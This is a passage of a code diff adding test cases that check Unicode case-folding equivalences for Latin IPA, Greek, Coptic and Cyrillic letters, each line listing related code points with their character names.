+test(0x0283, 0x01A9); // LATIN SMALL LETTER ESH, LATIN CAPITAL LETTER ESH
+test(0x0287, 0xA7B1); // LATIN SMALL LETTER TURNED T, LATIN CAPITAL LETTER TURNED T
+test(0x0288, 0x01AE); // LATIN SMALL LETTER T WITH RETROFLEX HOOK (LATIN SMALL LETTER T RETROFLEX HOOK), LATIN CAPITAL LETTER T WITH RETROFLEX HOOK (LATIN CAPITAL LETTER T RETROFLEX HOOK)
+test(0x0289, 0x0244); // LATIN SMALL LETTER U BAR, LATIN CAPITAL LETTER U BAR
+test(0x028A, 0x01B1); // LATIN SMALL LETTER UPSILON, LATIN CAPITAL LETTER UPSILON
+test(0x028B, 0x01B2); // LATIN SMALL LETTER V WITH HOOK (LATIN SMALL LETTER SCRIPT V), LATIN CAPITAL LETTER V WITH HOOK (LATIN CAPITAL LETTER SCRIPT V)
+test(0x028C, 0x0245); // LATIN SMALL LETTER TURNED V, LATIN CAPITAL LETTER TURNED V
+test(0x0292, 0x01B7); // LATIN SMALL LETTER EZH (LATIN SMALL LETTER YOGH), LATIN CAPITAL LETTER EZH (LATIN CAPITAL LETTER YOGH)
+test(0x029D, 0xA7B2); // LATIN SMALL LETTER J WITH CROSSED-TAIL (LATIN SMALL LETTER CROSSED-TAIL J), LATIN CAPITAL LETTER J WITH CROSSED-TAIL
+test(0x029E, 0xA7B0); // LATIN SMALL LETTER TURNED K, LATIN CAPITAL LETTER TURNED K
+test(0x0345, 0x03B9, 0x0399, 0x1FBE); // COMBINING GREEK YPOGEGRAMMENI (GREEK NON-SPACING IOTA BELOW), GREEK SMALL LETTER IOTA, GREEK CAPITAL LETTER IOTA, GREEK PROSGEGRAMMENI
+test(0x0370, 0x0371); // GREEK CAPITAL LETTER HETA, GREEK SMALL LETTER HETA
+test(0x0371, 0x0370); // GREEK SMALL LETTER HETA, GREEK CAPITAL LETTER HETA
+test(0x0372, 0x0373); // GREEK CAPITAL LETTER ARCHAIC SAMPI, GREEK SMALL LETTER ARCHAIC SAMPI
+test(0x0373, 0x0372); // GREEK SMALL LETTER ARCHAIC SAMPI, GREEK CAPITAL LETTER ARCHAIC SAMPI
+test(0x0376, 0x0377); // GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA, GREEK SMALL LETTER PAMPHYLIAN DIGAMMA
+test(0x0377, 0x0376); // GREEK SMALL LETTER PAMPHYLIAN DIGAMMA, GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA
+test(0x037B, 0x03FD); // GREEK SMALL REVERSED LUNATE SIGMA SYMBOL, GREEK CAPITAL REVERSED LUNATE SIGMA SYMBOL
+test(0x037C, 0x03FE); // GREEK SMALL DOTTED LUNATE SIGMA SYMBOL, GREEK CAPITAL DOTTED LUNATE SIGMA SYMBOL
+test(0x037D, 0x03FF); // GREEK SMALL REVERSED DOTTED LUNATE SIGMA SYMBOL, GREEK CAPITAL REVERSED DOTTED LUNATE SIGMA SYMBOL
+test(0x037F, 0x03F3); // GREEK CAPITAL LETTER YOT, GREEK LETTER YOT
+test(0x0386, 0x03AC); // GREEK CAPITAL LETTER ALPHA WITH TONOS (GREEK CAPITAL LETTER ALPHA TONOS), GREEK SMALL LETTER ALPHA WITH TONOS (GREEK SMALL LETTER ALPHA TONOS)
+test(0x0388, 0x03AD); // GREEK CAPITAL LETTER EPSILON WITH TONOS (GREEK CAPITAL LETTER EPSILON TONOS), GREEK SMALL LETTER EPSILON WITH TONOS (GREEK SMALL LETTER EPSILON TONOS)
+test(0x0389, 0x03AE); // GREEK CAPITAL LETTER ETA WITH TONOS (GREEK CAPITAL LETTER ETA TONOS), GREEK SMALL LETTER ETA WITH TONOS (GREEK SMALL LETTER ETA TONOS)
+test(0x038A, 0x03AF); // GREEK CAPITAL LETTER IOTA WITH TONOS (GREEK CAPITAL LETTER IOTA TONOS), GREEK SMALL LETTER IOTA WITH TONOS (GREEK SMALL LETTER IOTA TONOS)
+test(0x038C, 0x03CC); // GREEK CAPITAL LETTER OMICRON WITH TONOS (GREEK CAPITAL LETTER OMICRON TONOS), GREEK SMALL LETTER OMICRON WITH TONOS (GREEK SMALL LETTER OMICRON TONOS)
+test(0x038E, 0x03CD); // GREEK CAPITAL LETTER UPSILON WITH TONOS (GREEK CAPITAL LETTER UPSILON TONOS), GREEK SMALL LETTER UPSILON WITH TONOS (GREEK SMALL LETTER UPSILON TONOS)
+test(0x038F, 0x03CE); // GREEK CAPITAL LETTER OMEGA WITH TONOS (GREEK CAPITAL LETTER OMEGA TONOS), GREEK SMALL LETTER OMEGA WITH TONOS (GREEK SMALL LETTER OMEGA TONOS)
+test(0x0391, 0x03B1); // GREEK CAPITAL LETTER ALPHA, GREEK SMALL LETTER ALPHA
+test(0x0392, 0x03B2, 0x03D0); // GREEK CAPITAL LETTER BETA, GREEK SMALL LETTER BETA, GREEK BETA SYMBOL (GREEK SMALL LETTER CURLED BETA)
+test(0x0393, 0x03B3); // GREEK CAPITAL LETTER GAMMA, GREEK SMALL LETTER GAMMA
+test(0x0394, 0x03B4); // GREEK CAPITAL LETTER DELTA, GREEK SMALL LETTER DELTA
+test(0x0395, 0x03B5, 0x03F5); // GREEK CAPITAL LETTER EPSILON, GREEK SMALL LETTER EPSILON, GREEK LUNATE EPSILON SYMBOL
+test(0x0396, 0x03B6); // GREEK CAPITAL LETTER ZETA, GREEK SMALL LETTER ZETA
+test(0x0397, 0x03B7); // GREEK CAPITAL LETTER ETA, GREEK SMALL LETTER ETA
+test(0x0398, 0x03B8, 0x03D1, 0x03F4); // GREEK CAPITAL LETTER THETA, GREEK SMALL LETTER THETA, GREEK THETA SYMBOL (GREEK SMALL LETTER SCRIPT THETA), GREEK CAPITAL THETA SYMBOL
+test(0x0399, 0x03B9, 0x0345, 0x1FBE); // GREEK CAPITAL LETTER IOTA, GREEK SMALL LETTER IOTA, COMBINING GREEK YPOGEGRAMMENI (GREEK NON-SPACING IOTA BELOW), GREEK PROSGEGRAMMENI
+test(0x039A, 0x03BA, 0x03F0); // GREEK CAPITAL LETTER KAPPA, GREEK SMALL LETTER KAPPA, GREEK KAPPA SYMBOL (GREEK SMALL LETTER SCRIPT KAPPA)
+test(0x039B, 0x03BB); // GREEK CAPITAL LETTER LAMDA (GREEK CAPITAL LETTER LAMBDA), GREEK SMALL LETTER LAMDA (GREEK SMALL LETTER LAMBDA)
+test(0x039C, 0x03BC, 0x00B5); // GREEK CAPITAL LETTER MU, GREEK SMALL LETTER MU, MICRO SIGN
+test(0x039D, 0x03BD); // GREEK CAPITAL LETTER NU, GREEK SMALL LETTER NU
+test(0x039E, 0x03BE); // GREEK CAPITAL LETTER XI, GREEK SMALL LETTER XI
+test(0x039F, 0x03BF); // GREEK CAPITAL LETTER OMICRON, GREEK SMALL LETTER OMICRON
+test(0x03A0, 0x03C0, 0x03D6); // GREEK CAPITAL LETTER PI, GREEK SMALL LETTER PI, GREEK PI SYMBOL (GREEK SMALL LETTER OMEGA PI)
+test(0x03A1, 0x03C1, 0x03F1); // GREEK CAPITAL LETTER RHO, GREEK SMALL LETTER RHO, GREEK RHO SYMBOL (GREEK SMALL LETTER TAILED RHO)
+test(0x03A3, 0x03C3, 0x03C2); // GREEK CAPITAL LETTER SIGMA, GREEK SMALL LETTER SIGMA, GREEK SMALL LETTER FINAL SIGMA
+test(0x03A4, 0x03C4); // GREEK CAPITAL LETTER TAU, GREEK SMALL LETTER TAU
+test(0x03A5, 0x03C5); // GREEK CAPITAL LETTER UPSILON, GREEK SMALL LETTER UPSILON
+test(0x03A6, 0x03C6, 0x03D5); // GREEK CAPITAL LETTER PHI, GREEK SMALL LETTER PHI, GREEK PHI SYMBOL (GREEK SMALL LETTER SCRIPT PHI)
+test(0x03A7, 0x03C7); // GREEK CAPITAL LETTER CHI, GREEK SMALL LETTER CHI
+test(0x03A8, 0x03C8); // GREEK CAPITAL LETTER PSI, GREEK SMALL LETTER PSI
+test(0x03A9, 0x03C9, 0x2126); // GREEK CAPITAL LETTER OMEGA, GREEK SMALL LETTER OMEGA, OHM SIGN (OHM)
+test(0x03AA, 0x03CA); // GREEK CAPITAL LETTER IOTA WITH DIALYTIKA (GREEK CAPITAL LETTER IOTA DIAERESIS), GREEK SMALL LETTER IOTA WITH DIALYTIKA (GREEK SMALL LETTER IOTA DIAERESIS)
+test(0x03AB, 0x03CB); // GREEK CAPITAL LETTER UPSILON WITH DIALYTIKA (GREEK CAPITAL LETTER UPSILON DIAERESIS), GREEK SMALL LETTER UPSILON WITH DIALYTIKA (GREEK SMALL LETTER UPSILON DIAERESIS)
+test(0x03AC, 0x0386); // GREEK SMALL LETTER ALPHA WITH TONOS (GREEK SMALL LETTER ALPHA TONOS), GREEK CAPITAL LETTER ALPHA WITH TONOS (GREEK CAPITAL LETTER ALPHA TONOS)
+test(0x03AD, 0x0388); // GREEK SMALL LETTER EPSILON WITH TONOS (GREEK SMALL LETTER EPSILON TONOS), GREEK CAPITAL LETTER EPSILON WITH TONOS (GREEK CAPITAL LETTER EPSILON TONOS)
+test(0x03AE, 0x0389); // GREEK SMALL LETTER ETA WITH TONOS (GREEK SMALL LETTER ETA TONOS), GREEK CAPITAL LETTER ETA WITH TONOS (GREEK CAPITAL LETTER ETA TONOS)
+test(0x03AF, 0x038A); // GREEK SMALL LETTER IOTA WITH TONOS (GREEK SMALL LETTER IOTA TONOS), GREEK CAPITAL LETTER IOTA WITH TONOS (GREEK CAPITAL LETTER IOTA TONOS)
+test(0x03B1, 0x0391); // GREEK SMALL LETTER ALPHA, GREEK CAPITAL LETTER ALPHA
+test(0x03B2, 0x0392, 0x03D0); // GREEK SMALL LETTER BETA, GREEK CAPITAL LETTER BETA, GREEK BETA SYMBOL (GREEK SMALL LETTER CURLED BETA)
+test(0x03B3, 0x0393); // GREEK SMALL LETTER GAMMA, GREEK CAPITAL LETTER GAMMA
+test(0x03B4, 0x0394); // GREEK SMALL LETTER DELTA, GREEK CAPITAL LETTER DELTA
+test(0x03B5, 0x0395, 0x03F5); // GREEK SMALL LETTER EPSILON, GREEK CAPITAL LETTER EPSILON, GREEK LUNATE EPSILON SYMBOL
+test(0x03B6, 0x0396); // GREEK SMALL LETTER ZETA, GREEK CAPITAL LETTER ZETA
+test(0x03B7, 0x0397); // GREEK SMALL LETTER ETA, GREEK CAPITAL LETTER ETA
+test(0x03B8, 0x0398, 0x03D1, 0x03F4); // GREEK SMALL LETTER THETA, GREEK CAPITAL LETTER THETA, GREEK THETA SYMBOL (GREEK SMALL LETTER SCRIPT THETA), GREEK CAPITAL THETA SYMBOL
+test(0x03B9, 0x0345, 0x0399, 0x1FBE); // GREEK SMALL LETTER IOTA, COMBINING GREEK YPOGEGRAMMENI (GREEK NON-SPACING IOTA BELOW), GREEK CAPITAL LETTER IOTA, GREEK PROSGEGRAMMENI
+test(0x03BA, 0x039A, 0x03F0); // GREEK SMALL LETTER KAPPA, GREEK CAPITAL LETTER KAPPA, GREEK KAPPA SYMBOL (GREEK SMALL LETTER SCRIPT KAPPA)
+test(0x03BB, 0x039B); // GREEK SMALL LETTER LAMDA (GREEK SMALL LETTER LAMBDA), GREEK CAPITAL LETTER LAMDA (GREEK CAPITAL LETTER LAMBDA)
+test(0x03BC, 0x00B5, 0x039C); // GREEK SMALL LETTER MU, MICRO SIGN, GREEK CAPITAL LETTER MU
+test(0x03BD, 0x039D); // GREEK SMALL LETTER NU, GREEK CAPITAL LETTER NU
+test(0x03BE, 0x039E); // GREEK SMALL LETTER XI, GREEK CAPITAL LETTER XI
+test(0x03BF, 0x039F); // GREEK SMALL LETTER OMICRON, GREEK CAPITAL LETTER OMICRON
+test(0x03C0, 0x03A0, 0x03D6); // GREEK SMALL LETTER PI, GREEK CAPITAL LETTER PI, GREEK PI SYMBOL (GREEK SMALL LETTER OMEGA PI)
+test(0x03C1, 0x03A1, 0x03F1); // GREEK SMALL LETTER RHO, GREEK CAPITAL LETTER RHO, GREEK RHO SYMBOL (GREEK SMALL LETTER TAILED RHO)
+test(0x03C2, 0x03C3, 0x03A3); // GREEK SMALL LETTER FINAL SIGMA, GREEK SMALL LETTER SIGMA, GREEK CAPITAL LETTER SIGMA
+test(0x03C3, 0x03A3, 0x03C2); // GREEK SMALL LETTER SIGMA, GREEK CAPITAL LETTER SIGMA, GREEK SMALL LETTER FINAL SIGMA
+test(0x03C4, 0x03A4); // GREEK SMALL LETTER TAU, GREEK CAPITAL LETTER TAU
+test(0x03C5, 0x03A5); // GREEK SMALL LETTER UPSILON, GREEK CAPITAL LETTER UPSILON
+test(0x03C6, 0x03A6, 0x03D5); // GREEK SMALL LETTER PHI, GREEK CAPITAL LETTER PHI, GREEK PHI SYMBOL (GREEK SMALL LETTER SCRIPT PHI)
+test(0x03C7, 0x03A7); // GREEK SMALL LETTER CHI, GREEK CAPITAL LETTER CHI
+test(0x03C8, 0x03A8); // GREEK SMALL LETTER PSI, GREEK CAPITAL LETTER PSI
+test(0x03C9, 0x03A9, 0x2126); // GREEK SMALL LETTER OMEGA, GREEK CAPITAL LETTER OMEGA, OHM SIGN (OHM)
+test(0x03CA, 0x03AA); // GREEK SMALL LETTER IOTA WITH DIALYTIKA (GREEK SMALL LETTER IOTA DIAERESIS), GREEK CAPITAL LETTER IOTA WITH DIALYTIKA (GREEK CAPITAL LETTER IOTA DIAERESIS)
+test(0x03CB, 0x03AB); // GREEK SMALL LETTER UPSILON WITH DIALYTIKA (GREEK SMALL LETTER UPSILON DIAERESIS), GREEK CAPITAL LETTER UPSILON WITH DIALYTIKA (GREEK CAPITAL LETTER UPSILON DIAERESIS)
+test(0x03CC, 0x038C); // GREEK SMALL LETTER OMICRON WITH TONOS (GREEK SMALL LETTER OMICRON TONOS), GREEK CAPITAL LETTER OMICRON WITH TONOS (GREEK CAPITAL LETTER OMICRON TONOS)
+test(0x03CD, 0x038E); // GREEK SMALL LETTER UPSILON WITH TONOS (GREEK SMALL LETTER UPSILON TONOS), GREEK CAPITAL LETTER UPSILON WITH TONOS (GREEK CAPITAL LETTER UPSILON TONOS)
+test(0x03CE, 0x038F); // GREEK SMALL LETTER OMEGA WITH TONOS (GREEK SMALL LETTER OMEGA TONOS), GREEK CAPITAL LETTER OMEGA WITH TONOS (GREEK CAPITAL LETTER OMEGA TONOS)
+test(0x03CF, 0x03D7); // GREEK CAPITAL KAI SYMBOL, GREEK KAI SYMBOL
+test(0x03D0, 0x03B2, 0x0392); // GREEK BETA SYMBOL (GREEK SMALL LETTER CURLED BETA), GREEK SMALL LETTER BETA, GREEK CAPITAL LETTER BETA
+test(0x03D1, 0x03B8, 0x0398, 0x03F4); // GREEK THETA SYMBOL (GREEK SMALL LETTER SCRIPT THETA), GREEK SMALL LETTER THETA, GREEK CAPITAL LETTER THETA, GREEK CAPITAL THETA SYMBOL
+test(0x03D5, 0x03C6, 0x03A6); // GREEK PHI SYMBOL (GREEK SMALL LETTER SCRIPT PHI), GREEK SMALL LETTER PHI, GREEK CAPITAL LETTER PHI
+test(0x03D6, 0x03C0, 0x03A0); // GREEK PI SYMBOL (GREEK SMALL LETTER OMEGA PI), GREEK SMALL LETTER PI, GREEK CAPITAL LETTER PI
+test(0x03D7, 0x03CF); // GREEK KAI SYMBOL, GREEK CAPITAL KAI SYMBOL
+test(0x03D8, 0x03D9); // GREEK LETTER ARCHAIC KOPPA, GREEK SMALL LETTER ARCHAIC KOPPA
+test(0x03D9, 0x03D8); // GREEK SMALL LETTER ARCHAIC KOPPA, GREEK LETTER ARCHAIC KOPPA
+test(0x03DA, 0x03DB); // GREEK LETTER STIGMA (GREEK CAPITAL LETTER STIGMA), GREEK SMALL LETTER STIGMA
+test(0x03DB, 0x03DA); // GREEK SMALL LETTER STIGMA, GREEK LETTER STIGMA (GREEK CAPITAL LETTER STIGMA)
+test(0x03DC, 0x03DD); // GREEK LETTER DIGAMMA (GREEK CAPITAL LETTER DIGAMMA), GREEK SMALL LETTER DIGAMMA
+test(0x03DD, 0x03DC); // GREEK SMALL LETTER DIGAMMA, GREEK LETTER DIGAMMA (GREEK CAPITAL LETTER DIGAMMA)
+test(0x03DE, 0x03DF); // GREEK LETTER KOPPA (GREEK CAPITAL LETTER KOPPA), GREEK SMALL LETTER KOPPA
+test(0x03DF, 0x03DE); // GREEK SMALL LETTER KOPPA, GREEK LETTER KOPPA (GREEK CAPITAL LETTER KOPPA)
+test(0x03E0, 0x03E1); // GREEK LETTER SAMPI (GREEK CAPITAL LETTER SAMPI), GREEK SMALL LETTER SAMPI
+test(0x03E1, 0x03E0); // GREEK SMALL LETTER SAMPI, GREEK LETTER SAMPI (GREEK CAPITAL LETTER SAMPI)
+test(0x03E2, 0x03E3); // COPTIC CAPITAL LETTER SHEI (GREEK CAPITAL LETTER SHEI), COPTIC SMALL LETTER SHEI (GREEK SMALL LETTER SHEI)
+test(0x03E3, 0x03E2); // COPTIC SMALL LETTER SHEI (GREEK SMALL LETTER SHEI), COPTIC CAPITAL LETTER SHEI (GREEK CAPITAL LETTER SHEI)
+test(0x03E4, 0x03E5); // COPTIC CAPITAL LETTER FEI (GREEK CAPITAL LETTER FEI), COPTIC SMALL LETTER FEI (GREEK SMALL LETTER FEI)
+test(0x03E5, 0x03E4); // COPTIC SMALL LETTER FEI (GREEK SMALL LETTER FEI), COPTIC CAPITAL LETTER FEI (GREEK CAPITAL LETTER FEI)
+test(0x03E6, 0x03E7); // COPTIC CAPITAL LETTER KHEI (GREEK CAPITAL LETTER KHEI), COPTIC SMALL LETTER KHEI (GREEK SMALL LETTER KHEI)
+test(0x03E7, 0x03E6); // COPTIC SMALL LETTER KHEI (GREEK SMALL LETTER KHEI), COPTIC CAPITAL LETTER KHEI (GREEK CAPITAL LETTER KHEI)
+test(0x03E8, 0x03E9); // COPTIC CAPITAL LETTER HORI (GREEK CAPITAL LETTER HORI), COPTIC SMALL LETTER HORI (GREEK SMALL LETTER HORI)
+test(0x03E9, 0x03E8); // COPTIC SMALL LETTER HORI (GREEK SMALL LETTER HORI), COPTIC CAPITAL LETTER HORI (GREEK CAPITAL LETTER HORI)
+test(0x03EA, 0x03EB); // COPTIC CAPITAL LETTER GANGIA (GREEK CAPITAL LETTER GANGIA), COPTIC SMALL LETTER GANGIA (GREEK SMALL LETTER GANGIA)
+test(0x03EB, 0x03EA); // COPTIC SMALL LETTER GANGIA (GREEK SMALL LETTER GANGIA), COPTIC CAPITAL LETTER GANGIA (GREEK CAPITAL LETTER GANGIA)
+test(0x03EC, 0x03ED); // COPTIC CAPITAL LETTER SHIMA (GREEK CAPITAL LETTER SHIMA), COPTIC SMALL LETTER SHIMA (GREEK SMALL LETTER SHIMA)
+test(0x03ED, 0x03EC); // COPTIC SMALL LETTER SHIMA (GREEK SMALL LETTER SHIMA), COPTIC CAPITAL LETTER SHIMA (GREEK CAPITAL LETTER SHIMA)
+test(0x03EE, 0x03EF); // COPTIC CAPITAL LETTER DEI (GREEK CAPITAL LETTER DEI), COPTIC SMALL LETTER DEI (GREEK SMALL LETTER DEI)
+test(0x03EF, 0x03EE); // COPTIC SMALL LETTER DEI (GREEK SMALL LETTER DEI), COPTIC CAPITAL LETTER DEI (GREEK CAPITAL LETTER DEI)
+test(0x03F0, 0x03BA, 0x039A); // GREEK KAPPA SYMBOL (GREEK SMALL LETTER SCRIPT KAPPA), GREEK SMALL LETTER KAPPA, GREEK CAPITAL LETTER KAPPA
+test(0x03F1, 0x03C1, 0x03A1); // GREEK RHO SYMBOL (GREEK SMALL LETTER TAILED RHO), GREEK SMALL LETTER RHO, GREEK CAPITAL LETTER RHO
+test(0x03F2, 0x03F9); // GREEK LUNATE SIGMA SYMBOL (GREEK SMALL LETTER LUNATE SIGMA), GREEK CAPITAL LUNATE SIGMA SYMBOL
+test(0x03F3, 0x037F); // GREEK LETTER YOT, GREEK CAPITAL LETTER YOT
+test(0x03F4, 0x03B8, 0x0398, 0x03D1); // GREEK CAPITAL THETA SYMBOL, GREEK SMALL LETTER THETA, GREEK CAPITAL LETTER THETA, GREEK THETA SYMBOL (GREEK SMALL LETTER SCRIPT THETA)
+test(0x03F5, 0x03B5, 0x0395); // GREEK LUNATE EPSILON SYMBOL, GREEK SMALL LETTER EPSILON, GREEK CAPITAL LETTER EPSILON
+test(0x03F7, 0x03F8); // GREEK CAPITAL LETTER SHO, GREEK SMALL LETTER SHO
+test(0x03F8, 0x03F7); // GREEK SMALL LETTER SHO, GREEK CAPITAL LETTER SHO
+test(0x03F9, 0x03F2); // GREEK CAPITAL LUNATE SIGMA SYMBOL, GREEK LUNATE SIGMA SYMBOL (GREEK SMALL LETTER LUNATE SIGMA)
+test(0x03FA, 0x03FB); // GREEK CAPITAL LETTER SAN, GREEK SMALL LETTER SAN
+test(0x03FB, 0x03FA); // GREEK SMALL LETTER SAN, GREEK CAPITAL LETTER SAN
+test(0x03FD, 0x037B); // GREEK CAPITAL REVERSED LUNATE SIGMA SYMBOL, GREEK SMALL REVERSED LUNATE SIGMA SYMBOL
+test(0x03FE, 0x037C); // GREEK CAPITAL DOTTED LUNATE SIGMA SYMBOL, GREEK SMALL DOTTED LUNATE SIGMA SYMBOL
+test(0x03FF, 0x037D); // GREEK CAPITAL REVERSED DOTTED LUNATE SIGMA SYMBOL, GREEK SMALL REVERSED DOTTED LUNATE SIGMA SYMBOL
+test(0x0400, 0x0450); // CYRILLIC CAPITAL LETTER IE WITH GRAVE, CYRILLIC SMALL LETTER IE WITH GRAVE
+test(0x0401, 0x0451); // CYRILLIC CAPITAL LETTER IO, CYRILLIC SMALL LETTER IO
+test(0x0402, 0x0452); // CYRILLIC CAPITAL LETTER DJE, CYRILLIC SMALL LETTER DJE
+test(0x0403, 0x0453); // CYRILLIC CAPITAL LETTER GJE, CYRILLIC SMALL LETTER GJE
+test(0x0404, 0x0454); // CYRILLIC CAPITAL LETTER UKRAINIAN IE (CYRILLIC CAPITAL LETTER E), CYRILLIC SMALL LETTER UKRAINIAN IE (CYRILLIC SMALL LETTER E)
+test(0x0405, 0x0455); // CYRILLIC CAPITAL LETTER DZE, CYRILLIC SMALL LETTER DZE
+test(0x0406, 0x0456); // CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I (CYRILLIC CAPITAL LETTER I), CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I (CYRILLIC SMALL LETTER I)
+test(0x0407, 0x0457); // CYRILLIC CAPITAL LETTER YI, CYRILLIC SMALL LETTER YI
+test(0x0408, 0x0458); // CYRILLIC CAPITAL LETTER JE, CYRILLIC SMALL LETTER JE
+test(0x0409, 0x0459); // CYRILLIC CAPITAL LETTER LJE, CYRILLIC SMALL LETTER LJE
+test(0x040A, 0x045A); // CYRILLIC CAPITAL LETTER NJE, CYRILLIC SMALL LETTER NJE
+test(0x040B, 0x045B); // CYRILLIC CAPITAL LETTER TSHE, CYRILLIC SMALL LETTER TSHE
+test(0x040C, 0x045C); // CYRILLIC CAPITAL LETTER KJE, CYRILLIC SMALL LETTER KJE
+test(0x040D, 0x045D); // CYRILLIC CAPITAL LETTER I WITH GRAVE, CYRILLIC SMALL LETTER I WITH GRAVE
+test(0x040E, 0x045E); // CYRILLIC CAPITAL LETTER SHORT U, CYRILLIC SMALL LETTER SHORT U
+test(0x040F, 0x045F); // CYRILLIC CAPITAL LETTER DZHE, CYRILLIC SMALL LETTER DZHE
+test(0x0410, 0x0430); // CYRILLIC CAPITAL LETTER A, CYRILLIC SMALL LETTER A
+test(0x0411, 0x0431); // CYRILLIC CAPITAL LETTER BE, CYRILLIC SMALL LETTER BE
+test(0x0412, 0x0432, 0x1C80); // CYRILLIC CAPITAL LETTER VE, CYRILLIC SMALL LETTER VE, CYRILLIC SMALL LETTER ROUNDED VE
+test(0x0413, 0x0433); // CYRILLIC CAPITAL LETTER GHE (CYRILLIC CAPITAL LETTER GE), CYRILLIC SMALL LETTER GHE (CYRILLIC SMALL LETTER GE)
+test(0x0414, 0x0434, 0x1C81); // CYRILLIC CAPITAL LETTER DE, CYRILLIC SMALL LETTER DE, CYRILLIC SMALL LETTER LONG-LEGGED DE
+test(0x0415, 0x0435); // CYRILLIC CAPITAL LETTER IE, CYRILLIC SMALL LETTER IE
+test(0x0416, 0x0436); // CYRILLIC CAPITAL LETTER ZHE, CYRILLIC SMALL LETTER ZHE
+test(0x0417, 0x0437); // CYRILLIC CAPITAL LETTER ZE, CYRILLIC SMALL LETTER ZE
+test(0x0418, 0x0438); // CYRILLIC CAPITAL LETTER I (CYRILLIC CAPITAL LETTER II), CYRILLIC SMALL LETTER I (CYRILLIC SMALL LETTER II)
+test(0x0419, 0x0439); // CYRILLIC CAPITAL LETTER SHORT I (CYRILLIC CAPITAL LETTER SHORT II), CYRILLIC SMALL LETTER SHORT I (CYRILLIC SMALL LETTER SHORT II)
+test(0x041A, 0x043A); // CYRILLIC CAPITAL LETTER KA, CYRILLIC SMALL LETTER KA
+test(0x041B, 0x043B); // CYRILLIC CAPITAL LETTER EL, CYRILLIC SMALL LETTER EL
+test(0x041C, 0x043C); // CYRILLIC CAPITAL LETTER EM, CYRILLIC SMALL LETTER EM
+test(0x041D, 0x043D); // CYRILLIC CAPITAL LETTER EN, CYRILLIC SMALL LETTER EN
+test(0x041E, 0x043E, 0x1C82); // CYRILLIC CAPITAL LETTER O, CYRILLIC SMALL LETTER O, CYRILLIC SMALL LETTER NARROW O
+test(0x041F, 0x043F); // CYRILLIC CAPITAL LETTER PE, CYRILLIC SMALL LETTER PE
+test(0x0420, 0x0440); // CYRILLIC CAPITAL LETTER ER, CYRILLIC SMALL LETTER ER
+test(0x0421, 0x0441, 0x1C83); // CYRILLIC CAPITAL LETTER ES, CYRILLIC SMALL LETTER ES, CYRILLIC SMALL LETTER WIDE ES
+test(0x0422, 0x0442, 0x1C84, 0x1C85); // CYRILLIC CAPITAL LETTER TE, CYRILLIC SMALL LETTER TE, CYRILLIC SMALL LETTER TALL TE, CYRILLIC SMALL LETTER THREE-LEGGED TE
+test(0x0423, 0x0443); // CYRILLIC CAPITAL LETTER U, CYRILLIC SMALL LETTER U
+test(0x0424, 0x0444); // CYRILLIC CAPITAL LETTER EF, CYRILLIC SMALL LETTER EF
+test(0x0425, 0x0445); // CYRILLIC CAPITAL LETTER HA (CYRILLIC CAPITAL LETTER KHA), CYRILLIC SMALL LETTER HA (CYRILLIC SMALL LETTER KHA)
+test(0x0426, 0x0446); // CYRILLIC CAPITAL LETTER TSE, CYRILLIC SMALL LETTER TSE
+test(0x0427, 0x0447); // CYRILLIC CAPITAL LETTER CHE, CYRILLIC SMALL LETTER CHE
+test(0x0428, 0x0448); // CYRILLIC CAPITAL LETTER SHA, CYRILLIC SMALL LETTER SHA
+test(0x0429, 0x0449); // CYRILLIC CAPITAL LETTER SHCHA, CYRILLIC SMALL LETTER SHCHA
+test(0x042A, 0x044A, 0x1C86); // CYRILLIC CAPITAL LETTER HARD SIGN, CYRILLIC SMALL LETTER HARD SIGN, CYRILLIC SMALL LETTER TALL HARD SIGN
+test(0x042B, 0x044B); // CYRILLIC CAPITAL LETTER YERU (CYRILLIC CAPITAL LETTER YERI), CYRILLIC SMALL LETTER YERU (CYRILLIC SMALL LETTER YERI)
+test(0x042C, 0x044C); // CYRILLIC CAPITAL LETTER SOFT SIGN, CYRILLIC SMALL LETTER SOFT SIGN
+test(0x042D, 0x044D); // CYRILLIC CAPITAL LETTER E (CYRILLIC CAPITAL LETTER REVERSED E), CYRILLIC SMALL LETTER E (CYRILLIC SMALL LETTER REVERSED E)
+test(0x042E, 0x044E); // CYRILLIC CAPITAL LETTER YU (CYRILLIC CAPITAL LETTER IU), CYRILLIC SMALL LETTER YU (CYRILLIC SMALL LETTER IU)
+test(0x042F, 0x044F); // CYRILLIC CAPITAL LETTER YA (CYRILLIC CAPITAL LETTER IA), CYRILLIC SMALL LETTER YA (CYRILLIC SMALL LETTER IA)
+test(0x0430, 0x0410); // CYRILLIC SMALL LETTER A, CYRILLIC CAPITAL LETTER A
+test(0x0431, 0x0411); // CYRILLIC SMALL LETTER BE, CYRILLIC CAPITAL LETTER BE
+test(0x0432, 0x0412, 0x1C80); // CYRILLIC SMALL LETTER VE, CYRILLIC CAPITAL LETTER VE, CYRILLIC SMALL LETTER ROUNDED VE
+test(0x0433, 0x0413); // CYRILLIC SMALL LETTER GHE (CYRILLIC SMALL LETTER GE), CYRILLIC CAPITAL LETTER GHE (CYRILLIC CAPITAL LETTER GE)
+test(0x0434, 0x0414, 0x1C81); // CYRILLIC SMALL LETTER DE, CYRILLIC CAPITAL LETTER DE, CYRILLIC SMALL LETTER LONG-LEGGED DE
+test(0x0435, 0x0415); // CYRILLIC SMALL LETTER IE, CYRILLIC CAPITAL LETTER IE
+test(0x0436, 0x0416); // CYRILLIC SMALL LETTER ZHE, CYRILLIC CAPITAL LETTER ZHE
+test(0x0437, 0x0417); // CYRILLIC SMALL LETTER ZE, CYRILLIC CAPITAL LETTER ZE
+test(0x0438, 0x0418); // CYRILLIC SMALL LETTER I (CYRILLIC SMALL LETTER II), CYRILLIC CAPITAL LETTER I (CYRILLIC CAPITAL LETTER II)
+test(0x0439, 0x0419); // CYRILLIC SMALL LETTER SHORT I (CYRILLIC SMALL LETTER SHORT II), CYRILLIC CAPITAL LETTER SHORT I (CYRILLIC CAPITAL LETTER SHORT II)
+test(0x043A, 0x041A); // CYRILLIC SMALL LETTER KA, CYRILLIC CAPITAL LETTER KA
+test(0x043B, 0x041B); // CYRILLIC SMALL LETTER EL, CYRILLIC CAPITAL LETTER EL
+test(0x043C, 0x041C); // CYRILLIC SMALL LETTER EM, CYRILLIC CAPITAL LETTER EM
+test(0x043D, 0x041D); // CYRILLIC SMALL LETTER EN, CYRILLIC CAPITAL LETTER EN
